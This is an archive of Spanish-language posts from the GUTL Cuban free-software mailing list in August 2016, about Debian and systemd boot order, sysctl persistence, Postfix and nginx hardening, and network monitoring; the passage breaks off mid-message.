On Tue, 23 Aug 2016 15:11:35 -0400, Servilio Afre Puentes wrote:

[...]
Si estás corriendo con systemd, creo esto te da esta información:

$ systemctl list-dependencies --after cron.service


Si entendí bien, entonces aparentemente casi todo carga antes (los 
asteriscos que están entre paréntesis equivaldrían a los puntos rojos):


cron.service
 * ├─system.slice
 * ├─systemd-journald.socket
 * └─basic.target
 *   ├─paths.target
 *   │ ├─acpid.path
 *   │ ├─systemd-ask-password-console.path
 *   │ └─systemd-ask-password-wall.path
 *   ├─slices.target
 *   │ ├─-.slice
 *   │ ├─system.slice
 *   │ └─user.slice
 *   ├─sockets.target
 *   │ ├─acpid.socket
 *   │ ├─syslog.socket
 *   │ ├─systemd-initctl.socket
 *   │ ├─systemd-journald-dev-log.socket
 *   │ ├─systemd-journald.socket
 *   │ ├─systemd-shutdownd.socket
 *   │ ├─systemd-udevd-control.socket
 *   │ └─systemd-udevd-kernel.socket
 *   ├─sysinit.target
 *   │ ├─console-setup.service
(*)  │ ├─debian-fixup.service
 *   │ ├─dev-hugepages.mount
 *   │ ├─dev-mqueue.mount
 *   │ ├─ebtables.service
(*)  │ ├─emergency.service
 *   │ ├─kbd.service
 *   │ ├─keyboard-setup.service
 *   │ ├─kmod-static-nodes.service
 *   │ ├─mdadm-raid.service
 *   │ ├─networking.service
 *   │ ├─proc-sys-fs-binfmt_misc.automount
 *   │ ├─sys-fs-fuse-connections.mount
(*)  │ ├─sys-kernel-config.mount
 *   │ ├─sys-kernel-debug.mount
(*)  │ ├─systemd-binfmt.service
 *   │ ├─systemd-journald.service
 *   │ ├─systemd-modules-load.service
 *   │ ├─systemd-random-seed.service
(*)  │ ├─systemd-readahead-collect.service
(*)  │ ├─systemd-readahead-replay.service
 *   │ ├─systemd-sysctl.service
 *   │ ├─systemd-tmpfiles-setup-dev.service
 *   │ ├─systemd-tmpfiles-setup.service
 *   │ ├─systemd-udev-settle.service
 *   │ ├─systemd-udev-trigger.service
 *   │ ├─systemd-udevd.service
 *   │ ├─systemd-update-utmp.service
 *   │ ├─cryptsetup.target
(*)  │ │ └─lvm2-activation-early.service
(*)  │ ├─emergency.target
(*)  │ │ └─emergency.service
 *   │ ├─local-fs.target
 *   │ │ ├─-.mount
(*)  │ │ ├─dm-event.service
 *   │ │ ├─home.mount
(*)  │ │ ├─lvm2-activation-early.service
(*)  │ │ ├─lvm2-activation.service
 *   │ │ ├─lvm2-monitor.service
 *   │ │ ├─mdadm-raid.service
(*)  │ │ ├─systemd-fsck-root.service
 *   │ │ ├─systemd-remount-fs.service
 *   │ │ ├─tmp.mount
 *   │ │ ├─var.mount
 *   │ │ └─local-fs-pre.target
 *   │ │   ├─systemd-remount-fs.service
 *   │ │   └─systemd-tmpfiles-setup-dev.service
 *   │ └─swap.target
 *   │   ├─dev-disk-by\x2did-scsi\x2d35000c50056d6134f\x2dpart2.swap
 *   │   ├─dev-disk-by\x2did-wwn\x2d0x5000c50056d6134f\x2dpart2.swap
 *   │   
├─dev-disk-by\x2dpath-pci\x2d:0b:00.0\x2dsas\x2d0x5000c50056d6134d\x2dlun\x2d0\x2dpart2.swap
 *   │   
├─dev-disk-by\x2duuid-ba1e2785\x2d70dc\x2d4f3a\x2da976\x2dd6c9075739c6.swap

 *   │   └─dev-sda2.swap
 *   └─timers.target
 * └─systemd-tmpfiles-clean.timer

Y este sería lo que cargue después:

cron.service
 *  ├─multi-user.target
(*) │ ├─systemd-update-utmp-runlevel.service
 *  │ └─graphical.target
(*) │   ├─systemd-readahead-done.service
(*) │   ├─systemd-readahead-done.timer
(*) │   └─systemd-update-utmp-runlevel.service
(*) └─shutdown.target

Sería así?
Exactamente que significado tiene que los puntos sean rojos o verdes?

Porque si ejecuto $(systemctl --failed --all) me dice:
0 loaded units listed.

Es decir, que no hubo fallos al menos en este inicio. Anteriormente 
este comando me indicó que había una unidad huérfana de ntp (que tenía 
desinstalado) y la única forma de solucionarlo fué instalando el paquete 
ntp y luego desinstalándolo (sin comentarios).


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Duda sobre crontab y reinicio

2016-08-24 Por tema Hugo Florentino

On Tue, 23 Aug 2016 16:34:47 -0400, låzaro wrote:

systemd-analyze critical-chain



Aunque esa herramienta puede ser útil para otras cosas, no veo nada ahi 
que me indique donde se ejecuta cron:


graphical.target @10.275s
└─multi-user.target @10.275s
  └─exim4.service @9.645s +629ms
└─mysql.service @5.866s +3.778s
  └─nss-lookup.target @5.866s
└─dnsmasq.service @3.954s +1.911s
  └─basic.target @3.912s
└─paths.target @3.912s
  └─acpid.path @3.912s
└─sysinit.target @3.912s
  └─console-setup.service @3.370s +315ms
└─kbd.service @3.090s +279ms
  └─remote-fs.target @3.090s
└─local-fs.target @3.089s
  └─lvm2-monitor.service @3.034s +55ms
└─system.slice @849ms
  └─-.slice @849ms



__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

Re: [Gutl-l] Duda con persistencia de sysctl.conf

2016-08-23 Por tema Hugo Florentino

On Tue, 23 Aug 2016 21:30:28 -0400, Arian Molina Aguilera wrote:
Me parece que no estas poniendo bien la variable o no existe, busque 
en
mi sistema y por defecto no la tengo establecida con ese valón que 
dices.


me parece que en debian 8 para contar con el modulo de nf para 
conntrack

hay que instalar dicho paquete a parte ya que por defecto no viene
instalado en el sistema [...]


No debe ser este el problema, porque suelo configurar netfilter con 
rastreo de conexiones, de hecho es una de las primeras cosas que 
verifico.
Te agradecería si intentases establecer este valor en 
/etc/sysctl.d/local.conf, reiniciar y comprobar el valor activo a ver si 
el comportamiento es consistente en Debian 8 o es solo un problema en mi 
equipo en particular.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Postfix SMTP server: errors from correos.interaudit.cu[200.55.140.70]

2016-08-23 Por tema Hugo Florentino

On Tue, 23 Aug 2016 10:01:26 -0400, Eduardo R. Barrera Pérez wrote:

Hugo, gracias por la explicación, ya encontré como deshabilitar el
comando VRFY en postfix, pero lo de la dirección vacía no lo 
encuentro

y que repercusiones me traería si la deshabilito?


Deshabilitar la dirección nula no necesariamente tiene repercusiones 
drásticas, en la propia documentación de Postfix reconocen que hay 
sistemas que pueden tenerla deshabilitada aunque un documento RFC 
recomiende lo contrario.


De todas formas, revisando la documentación de Postfix y algunas salvas 
de cuando lo usaba, creo que algo como esto podría ayudarte (sin probar 
en conjunto, puedes usarlo como base para experimentar):


En el archivo main.cf (entre otras cosas propias de tu configuración):
##== inicio de bloque ==##
# algunas opciones para seguridad
biff = no
disable_vrfy_command = yes
append_dot_mydomain = no
smtpd_forbidden_commands = VRFY, EXPN, CONNECT, GET, POST, ETRN
smtpd_client_connection_count_limit = 3
smtpd_hard_error_limit = 5
smtpd_soft_error_limit = 1
smtpd_junk_command_limit = 2
smtpd_delay_reject  = yes
smtpd_helo_required = yes
mynetworks = 127.0.0.0/8
address_verify_sender = postmaster@$mydomain

# restricciones de identificacion del cliente
smtpd_helo_restrictions = reject_invalid_helo_hostname

# restricciones de remitentes (verificaciones de MAIL FROM)
smtpd_sender_restrictions =
  permit_mynetworks,
  reject_non_fqdn_sender,
  reject_unknown_sender_domain,
  permit_sasl_authenticated,
  reject_non_fqdn_helo_hostname,
  reject_unknown_helo_hostname,
  reject_unknown_client_hostname,
  reject_sender_login_mismatch

# restricciones de destinatarios (verificaciones de RCPT TO y relay)
smtpd_recipient_restrictions =
  permit_mynetworks,
  reject_non_fqdn_recipient,
  reject_unknown_recipient_domain,
  permit_sasl_authenticated,
  reject_unauth_destination,
  check_helo_access pcre:/etc/postfix/helo_checks.pcre,
  reject_unlisted_recipient,
  warn_if_reject reject_rbl_client zen.spamhaus.org

# restricciones de datos
smtpd_data_restrictions =
  reject_unauth_pipelining,
  reject_multi_recipient_bounce
  check_sender_access pcre:/etc/postfix/sender_checks.pcre

# chequeo de cabeceras
header_checks = pcre:/etc/postfix/header_checks.pcre
##== fin de bloque ==##

En el archivo helo_checks.pcre:
##== inicio de bloque ==##
/^(localhost\.)?(localdomain|midominio\.cu)$/ 501 Invalid 
domain/hostname. Dominio o nombre de equipo incorrecto.
/^\[?127\.0\.0\.[0-9]+\]?$/ 501 Invalid domain/hostname. Dominio o 
nombre de equipo incorrecto.
/^\[?[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\]?$/ 501 Invalid domain/hostname. 
Dominio o nombre de equipo incorrecto.
/^(.+\.){0,}(example|invalid|localhost|test)(\.[^.]+){0,3}?$/ 501 
Invalid domain/hostname.  Dominio o nombre de equipo incorrecto.

##== fin de bloque ==##

En el archivo sender_checks.pcre:
/(.*)/  prepend X-Envelope-From: <$1>

En el archivo header_checks.pcre:
/^X-Envelope-From:(\s+<>)?\s*$/ DISCARD

Saludos, Hugo

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda sobre crontab y reinicio

2016-08-23 Por tema Hugo Florentino

Gracias Servilio y Lazaro, probaré lo que recomiendan.
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con persistencia de sysctl.conf

2016-08-23 Por tema Hugo Florentino

On Tue, 23 Aug 2016 08:21:51 -0400, Arian Molina Aguilera wrote:
hugo acabo de hacer la prueba que sugeriste, y efectivamente si se 
cargo

el parametro establecido en sysctl.conf aquí la prueba.

Antes de reiniciar
root@repos:~# sysctl -a | grep tcp_challenge_ack_limit
net.ipv4.tcp_challenge_ack_limit = 100

Después de reiniciar.
root@repos:~# sysctl -a | grep tcp_challenge_ack_limit
net.ipv4.tcp_challenge_ack_limit = 1
[...]


Muchas gracias. Interesante, parece que el problema no afecta todos los 
valores como suponía, por ejemplo a mi concretamente este me está dando 
problemas:


net.netfilter.nf_conntrack_tcp_timeout_established = 28800

El valor por defecto es de 432000 (5 días, o 120 horas), aunque lo 
reduzca en los archivos de configuración, cuando reinicio y ejecuto el 
comando $(iptstate -Lt), las conexiones establecidas siguen con el valor 
antiguo.


¿Podrías hacer la prueba una vez más, porfa? Prometo que no fastidiaré 
más con esto.


Saludos, Hugo

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


[Gutl-l] Normas de uso de la lista

2016-08-23 Por tema Hugo Florentino

Hola a todos,

Para los más nuevos en la lista, y para refrescar la memoria de los no 
tan nuevos:


https://gutl.jovenclub.cu/wiki/doku.php?id=gutl:gutl_normas_lista [1]

Saludos, Hugo


[1] Para lo que no tienen navegación, aqui va un extracto:

Norma 1: Cualquier mensaje que no este dentro de los tópicos o 
temáticas de las lista deberá ser escrito (off-topic) o (Fuera de 
temática) en el respectivo Subject o Asunto del post o mensaje. Cuando 
una conversación derive en temas ajenos a ella, el moderador invitará a 
los interlocutores a que la continúen en otro foro o espacio privado más 
adecuado.


Norma 2: No está permitida la publicidad de ningún tipo, aunque si se 
aceptarán las opiniones desinteresadas sobre productos o servicios 
comerciales relacionados con las temáticas de la lista.


Norma 3: No se permitirán los insultos, expresiones malsonantes y falta 
de respeto entre los usuarios. Igualmente serán rechazados todos los 
mensajes que vengan en mayúscula fija, dado que en Internet es 
equivalente a gritar a los otros usuarios.


Norma 4: No se permite enviar repetidamente, de manera sistemática, un 
mismo mensaje. Igualmente se verificará el envío masivo de correos a 
varias listas de parte de los usuarios. En este caso será 
responsabilidad y discreción de los moderadores la distribución de estos 
mensajes en el grupo.


Norma 5: Los usuarios intentarán en la medida de lo posible no exceder 
un máximo de aproximadamente 50 líneas por mensaje (1 página); los 
textos más amplios es conveniente separarlos en varios mensajes, siempre 
que sean del interés de la mayoría de usuarios o en su defecto anexarlo 
como un mensaje adjunto en formato ODF.


Norma 6: El idioma oficial será el castellano, aunque se aceptará el 
uso del idioma inglés cuando sea necesario, o por razones de 
nacionalidad no se conozca el castellano. Los mensajes escritos en otras 
lenguas se ruega vayan acompañados de traducción al castellano, si esto 
fuera posible.


Norma 7: Queda terminantemente prohibido el envío de mensajes 
personales a la lista de distribución. Los mensajes encriptados se 
consideran personales. En lo posible los mensajes personales no serán 
aprobados por los moderadores y serán retornados al remitente con la 
anotación correspondiente.


Norma 8: No se permite el highjacking, es decir, responder a cualquier 
mensaje para preguntar otra cosa que nada tiene que ver con el tema de 
dicho mensaje. Si necesita preguntar algo, cree un nuevo mensaje 
específicamente para ello, con un asunto relevante.


Norma 9: Se evitará el top-posting, porque interrumpe el flujo lógico 
de la comunicación. De incluirse el texto original del mensaje al cual 
se responde, la respuesta ha de colocarse debajo de este, nunca encima.


Norma 10: Al responder un mensaje citando el texto original, se debe 
eliminar todo lo que resulte irrelevante o dificulte la comprensión, 
como secciones del mensaje que no vengan al caso, o firmas. Esto es 
particularmente importante en el caso de las respuestas a los mensajes 
tipo Resumen.


Norma 11: Al redactar los mensajes para enviarlos a la lista, es 
preferible utilizar texto plano y no texto con formato,1) pues algunos 
usuarios revisan la lista desde consola o clientes que no admiten texto 
con formato. Además, los mensajes con formato HTML pueden exceder 
fácilmente las 50 líneas a las cuales se refiere la Norma 5 .



Se consideran FALTAS MUY GRAVES

- Intentar enviar mensajes a la lista de correo suplantando la 
identidad de otro miembro.


- Usar el servicio de listas de correo para propósitos no relacionados 
a las temáticas de la misma o usarlo para propósitos fraudulentos, 
comerciales o publicitarios sin autorización previa, o para la 
propagación de mensajes destructivos u obscenos.


- Difundir en la lista de correo, “cadenas” de mensajes.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l

[Gutl-l] Duda sobre crontab y reinicio

2016-08-23 Por tema Hugo Florentino

Hola colegas,

Crontab permite emplear el argumento @reboot en lugar de las medidas de 
tiempo, lo cual es muy útil, pero: ¿en que momento exacto del reinicio 
ejecutará la tarea?


- tan pronto el sistema lo permita en el proceso de inicio
- tras finalizar el subsistema de inicialización
- tras inicializar las interfaces
- tras cargar el shell
- una vez que absolutamente todo haya iniciado
- en algún otro momento?

¿Alguien sabe, o podría sugerirme cómo averiguarlo con exactitud?

Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] error en opendkim

2016-08-23 Por tema Hugo Florentino
El comando opendkim-genkey viene en el paquete opendkim-tools (al menos 
en Debian), probablemente no esté instalado.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Postfix SMTP server: errors from correos.interaudit.cu[200.55.140.70]

2016-08-22 Por tema Hugo Florentino

On Mon, 22 Aug 2016 16:53:03 -0400, Eduardo R. Barrera Pérez wrote:

Alguien podría decirme porque hay servidores que dan el from<> vació
nulo que ocasiona este error??


En este caso el error no es causado por el from vacío, sino porque 
Postfix cerró la conexión al exceder el tiempo de espera definido para 
que el cliente introdujera algo en la sección de datos.
La dirección vacía es válida para comprobar la existencia de un 
destinatario, pero algunos spammers la utilizan para buscar direcciones 
válidas, asi que podrías deshabilitarla.
De cualquier manera, sugiero que deshabilites también el comando VRFY, 
también suelen explotarlo para conseguir direcciones válidas.


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con persistencia de sysctl.conf

2016-08-22 Por tema Hugo Florentino

On Mon, 22 Aug 2016 13:18:05 -0400, Arian Molina Aguilera wrote:
No no me devuelve nada, porque no tengo nada pasado en esa 
configuración

al kernel, esta todo por defecto, todas las lineas están comentadas.


Bueno el comando que sugerí tenía un error (ver errata), pero 
sencillamente no encuentro donde se carga la configuración.


También probé ejecutando como superusuario el siguiente comando, y 
tampoco hay resultados:


find /etc/ -type f -print0 | xargs -0 grep 'sysctl --system'


En fin, hay una manera definitiva de comprobar si el problema es común 
para Debian 8, modificando un valor predeterminado y reiniciando el 
equipo.


Por ejemplo, podría consultarse el valor de tcp_challenge_ack_limit 
(por defecto suele ser 100):


sysctl -a | grep tcp_challenge_ack_limit

Entonces, editar el archivo /etc/sysctl.d/local.conf y colocando en su 
interior algo como esto:


net.ipv4.tcp_challenge_ack_limit = 1

Una vez reiniciado el sistema, comprobar el valor:

sysctl -a | grep tcp_challenge_ack_limit

Si no hay cambios, esto evidentemente significa que Debian 8 no ha 
cargado el archivo.


¿Alguien estaría dispuesto a comprobarlo?

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] error en opend

2016-08-22 Por tema Hugo Florentino

On Mon, 22 Aug 2016 16:34:25 -0500, Lic. Emilio Márquez Infante wrote:

saludos lista, estoy tratando de implementar opendkim, y me salta
este error a la hora de generar las llaves bash: opendkim-genkey: no
se encontró la orden, alguna idea?


No secuestres hilos respondiendo a un mensaje cualquiera para crear una 
nueva pregunta, eso es una violación de las políticas de uso de la 
lista; crea un nuevo mensaje.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] ÁYUDA OARA AUTENTICAR USUARIOS DE INTERNET

2016-08-22 Por tema Hugo Florentino

On Mon, 22 Aug 2016 00:40:16 -0400 (CDT), Sandy  Moreno Castillo wrote:

hola lista necesito si alguien pudiera ayudarme... resulta q tengo
necesidad de atenticar usuarios para internet (solamente un grupito 
de

usuarios)
no todos- estoy usando ubuntu.. actualmente tengo atenticación de
usurarios pero es para navegacion nacional... me gustaria realizar lo
mismo pero para internet
gracias de antemano...


Bueno, sin ofrecer mas detalles solo dejas espacio a la suposicion de 
que usas Squid, busca en el foro o la wiki, es probable que encuentres 
algo relevante.


O si prefieres que te respondan aqui, elabora mejor tu pregunta 
aclarando que has intentado, como tienes declarados los usuarios, la 
versión de Squid que utilizas, etc.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con persistencia de sysctl.conf

2016-08-22 Por tema Hugo Florentino

On Mon, 22 Aug 2016 13:17:18 -0400, Arian Molina Aguilera wrote:

hugo no estaba igual tu archivo terminaba según tu correo en
. /lib/lsb/init-functions

y después de esas el mio tiene varias otras.


Quizás no supe explicarme, quise decir que cuando vi tu mensaje y fui a 
comparar, descubrí que mi archivo sí tenía las otras líneas.


Cabe la posibilidad de que cuando estaba escribiendo el mensaje estaba 
comiendo "mandarinas", o que se me congeló la terminal al hacer 
copia-pega, o mas remotamente, que en el archivo estuviese corrupto en 
aquel momento y luego de otro full-upgrade que hice "por si las moscas" 
se haya arreglado. Honestamente, apuesto por la primera opción (errare 
humanum est).

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con persistencia de sysctl.conf

2016-08-22 Por tema Hugo Florentino
Errata: en una expresión me faltó un fin de línea. Realmente lo que 
debería ejecutarse como superusuario es esto:


find /etc/ -type f -print0 | xargs -0 grep -vE '^\s*(#.*)?$' | grep -vE 
'^/etc/sysctl\.(conf|d)' | grep -E 'sysctl\.(conf|d)'


A mi en /etc/ no me aparece ningún archivo que contenga (al menos en 
texto claro) la carga de la configuración de sysctl, solo me sale esto, 
que tampoco carga nada:
/etc/init.d/networking: log_warning_msg "/etc/network/options still 
exists and it will be IGNORED! Please use /etc/sysctl.conf instead."


En otras palabras, que a menos que me equivoque, los valores 
establecidos en /etc/sysctl.conf o en los archivos .conf en el 
subdirectorio /etc/sysctl.d/ no se cargan automáticamente nunca, a menos 
que uno los cargue manualmente. Recuerdo que en versiones anteriores de 
Debian estos archivos se cargaban sin problemas al reiniciar, ahora por 
algún motivo esto no parece ser el caso.


Por favor, otros colegas que tengan instalado Debian 8, reporten el 
resultado del comando que puse al inicio si es diferente al mío.


Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con persistencia de sysctl.conf

2016-08-22 Por tema Hugo Florentino

On Mon, 22 Aug 2016 07:02:20 -0400, Arian Molina Aguilera wrote:

Uso KaOS que emplea systemd desde su mismisimo surgimiento, y baja
/etc/init.d no existe nada, solo un archivo readme con la siguiente
explicación.

You are looking for the traditional init scripts in /etc/init.d,
and they are gone?

Here's an explanation on what's going on:

You are running a systemd-based OS where traditional init scripts 
have

been replaced by native systemd services files. Service files provide
very similar functionality to init scripts. To make use of service
files simply invoke "systemctl", which will output a list of all
currently running services (and other units). Use "systemctl
list-unit-files" to get a listing of all known unit files, including
stopped, disabled and masked ones. Use "systemctl start
foobar.service" and "systemctl stop foobar.service" to start or stop 
a

service, respectively. For further details, please refer to
systemctl(1).

Note that traditional init scripts continue to function on a systemd
system. An init script /etc/init.d/foobar is implicitly mapped
into a service unit foobar.service during system initialization.

Thank you!

Further reading:
man:systemctl(1)
man:systemd(1)
http://0pointer.de/blog/projects/systemd-for-admins-3.html

http://www.freedesktop.org/wiki/Software/systemd/Incompatibilities


Ahora mirando uno de mis servidores debian 8 actualizado al día
igualmente, si contiene dicho archivo, pero el contenido es muy
diferente al tuyo, veo que el tuyo esta truncado [...]


Pues curiosamente cuando fui a compararlo veo que el mío esta igual al 
tuyo, no se si será que cuando hice el mensaje no estaba prestando la 
debida atención al entorno que me rodeaba o si realmente el archivo 
estaba como lo puse, pero en cualquier caso, tu archivo tampoco invoca 
la configuración, y se supone que de existir una unidad de systemd, 
debería aparecer, que en mi caso no ocurre.


Para confirmar, intenta ejecutar esto en Debian 8 como superusuario a 
ver que te devuelve:


find /etc/ -type f -print0 | xargs -0 grep -vE '^\s*(#.*)?' | grep -E 
'sysctl\.(conf|d)'


A mi no me devuelve ni una línea.

Saludos, Hugo

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


[Gutl-l] Duda con persistencia de sysctl.conf

2016-08-21 Por tema Hugo Florentino

Hola colegas,

Recientemente he notado que con el reinicio del sistema no cargan mis 
preferencias de sysctl, mas concretamente, ni el archivo 
/etc/sysctl.conf ni tampoco ninguno de los archivos dentro de 
/etc/sysctl.d/


Acabo de hacer una búsqueda:

# find /etc/ -type f -print0 | xargs -0 grep '/etc/sysctl.'

Aparentemente el único archivo que contiene una referencia relevante es 
/etc/init.d/procps, pero no veo línea alguna que cargue la 
configuración. En mi caso, esto es lo único que contiene:


#== (inicio del archivo) ==#
#! /bin/sh
# /etc/init.d/procps: Set kernel variables from /etc/sysctl.conf
#
# written by Elrond 

### BEGIN INIT INFO
# Provides:  procps
# Required-Start:mountkernfs $local_fs
# Required-Stop:
# Should-Start:  udev module-init-tools
# X-Start-Before:$network
# Default-Start: S
# Default-Stop:
# Short-Description: Configure kernel parameters at boottime
# Description:  Loads kernel parameters that are specified in 
/etc/sysctl.conf

### END INIT INFO

PATH=/sbin:/bin

SYSCTL=/sbin/sysctl

test -x $SYSCTL || exit 0

. /lib/lsb/init-functions
#== (fin del archivo) ==#

Tras unas búsquedas, veo que ese archivo debería contener algo como 
esto, al menos en versiones de Linux que venían sin systemd:


for file in /etc/sysctl.conf /etc/sysctl.d/*.conf
do
  sysctl $quiet -p "$file"
done

Sin embargo, en este caso, el archivo no contiene nada parecido.
Esto es en Debian 8, actualizado al día, he aqui el resultado de 
$(uname -a):


Linux miservidor 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2+deb8u3 
(2016-07-02) x86_64 GNU/Linux


A alguien más le ocurre?
Por favor, si su sistema usa systemd y el archivo /etc/init.d/procps es 
diferente al mío, compartan el contenido.


Saludos, Hugo

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Como puedo ver el trafico de mi interface de red

2016-08-19 Por tema Hugo Florentino

On Fri, 19 Aug 2016 07:59:21 -0400, Rafael Maleta Fdez wrote:

Pero me refiero a mi interface de red no la del proxy, es para ver
que cosa esta saliendo y que esta entrando, pk a veces hay cosas por
detras trabajando en segundo plano y no se que es.



Todas las herramientas que se han mencionado deberían ayudarte, pero 
también podrías ejecutar esto como superusuario:


lsof -i -n -P


__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Como puedo ver el trafico de mi interface de red

2016-08-18 Por tema Hugo Florentino

On Thu, 18 Aug 2016 12:17:47 -0400, Rafael Maleta Fdez wrote:

Si como ponia en el asunto necesito tener detalles del trafico de mi
interface de red, ya que el admin me esta molestando a cada rato que
tengo trafico extrano, ya como web.whatsapp.com y que mi sistema esta
actualizando.



Yo para monitorear en tiempo real me apoyo en iftop e iptstate, son muy 
útiles

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda en configuracion de Nginx

2016-08-16 Por tema Hugo Florentino

On Tue, 16 Aug 2016 07:53:19 -0500, Francisco R. Díaz Ortíz wrote:

Tengo una preocupacion con ngnix, me pincha riquisimo pero cuando
intento configurarle las url faciles se explota, es decir las url que
utiliza mucho drupal 8 y algunos cms nuevos no me pinchan por esa
razon, de que manera pudiera yo solucionar este problemita.


Sucede que las URLs amistosas dependen de los módulos de rewrite, y el 
creador de Nginx es un fuerte adversario del acercamiento que toma 
Apache con los archivos .htaccess, dice que es ineficiente porque el 
servidor tiene que recorrer regularmente todos los directorios 
buscandolos, de modo que sencillamente no lo implementará nunca, ni 
aparentemente permitirá que otros lo hagan.


De modo que le toca a uno hacer los rewrites en el sitio, lo cual 
indudablemente es un poco más trabajoso, pero es como hay que hacerlo.

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con expresion en Nginx

2016-08-16 Por tema Hugo Florentino
Vale Arian, ahora mismo tengo las siguientes condiciones, entre otras 
medidas:


if ($request_method !~ '^(GET|HEAD|POST)$') {
return 405;
}

if ($http_user_agent ~ '([\"\{\}\[\]\?=&%]|x|base64)') {
return 400;
}

if ($http_user_agent ~ '^(_|\-|\.)?$') {
return 400;
}

Igual podría devolver un 444 (que en el caso de nginx equivale a 
tcp-reset), pero ese código lo prefiero para otras cosas como evitar que 
accedan solo con la ip externa.


En fin como verán no es la gran cosa, pero me ha permitido frenar y 
volcar a las trazas algunos inventos bastante astutos. Es como jugar al 
ratón y el gato, con la salvedad quizás de que el ratón suele tener para 
llegar y escaparse una autopista de 8 carriles y el gato necesita pasar 
por un pasillo estrecho, de ahi que suelo combinar esto con fail2ban. ;)


Saludos, Hugo


PD. Mis disculpas si respondo a mi propio mensaje pero el de Arian a mi 
buzon aun no ha llegado, lo vi en mail-archive (me resulta más rápido 
para revisar cuando hay cosas nuevas en la lista).

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con expresion en Nginx

2016-08-16 Por tema Hugo Florentino

On Tue, 16 Aug 2016 10:10:40 -0400, Servilio Afre Puentes wrote:

[...]
# nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

El primer intento fue con "[\\]", el segundo con "[]" y el 
tercero

con "". La versión de libpcre3 q tengo es la 8.39.




Pues, con comillas simples y cuatro barras si me funcionó, cosa 
bastante curiosa porque se supone que las comillas simples son para no 
expansión.


De todas formas haciendo unas pruebas vi que al usar comillas dobles en 
el agente se convertían automáticamente en secuencias de escape, así que 
las agregué también a la expresión, y ahora todo parece funcionar de 
perlas, así que ya se me quitó la picazón. :D


Gracias a todos por la ayuda!

__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l


Re: [Gutl-l] Duda con expresion en Nginx

2016-08-16 Por tema Hugo Florentino

On Mon, 15 Aug 2016 19:29:46 -0400, låzaro wrote:

Thread name: "Re: [Gutl-l] Duda con expresion en Nginx"
Mail number: 3
Date: Mon, Aug 15, 2016
In reply to: Servilio Afre Puentes


On Mon, Aug 15 2016, Hugo Florentino wrote:

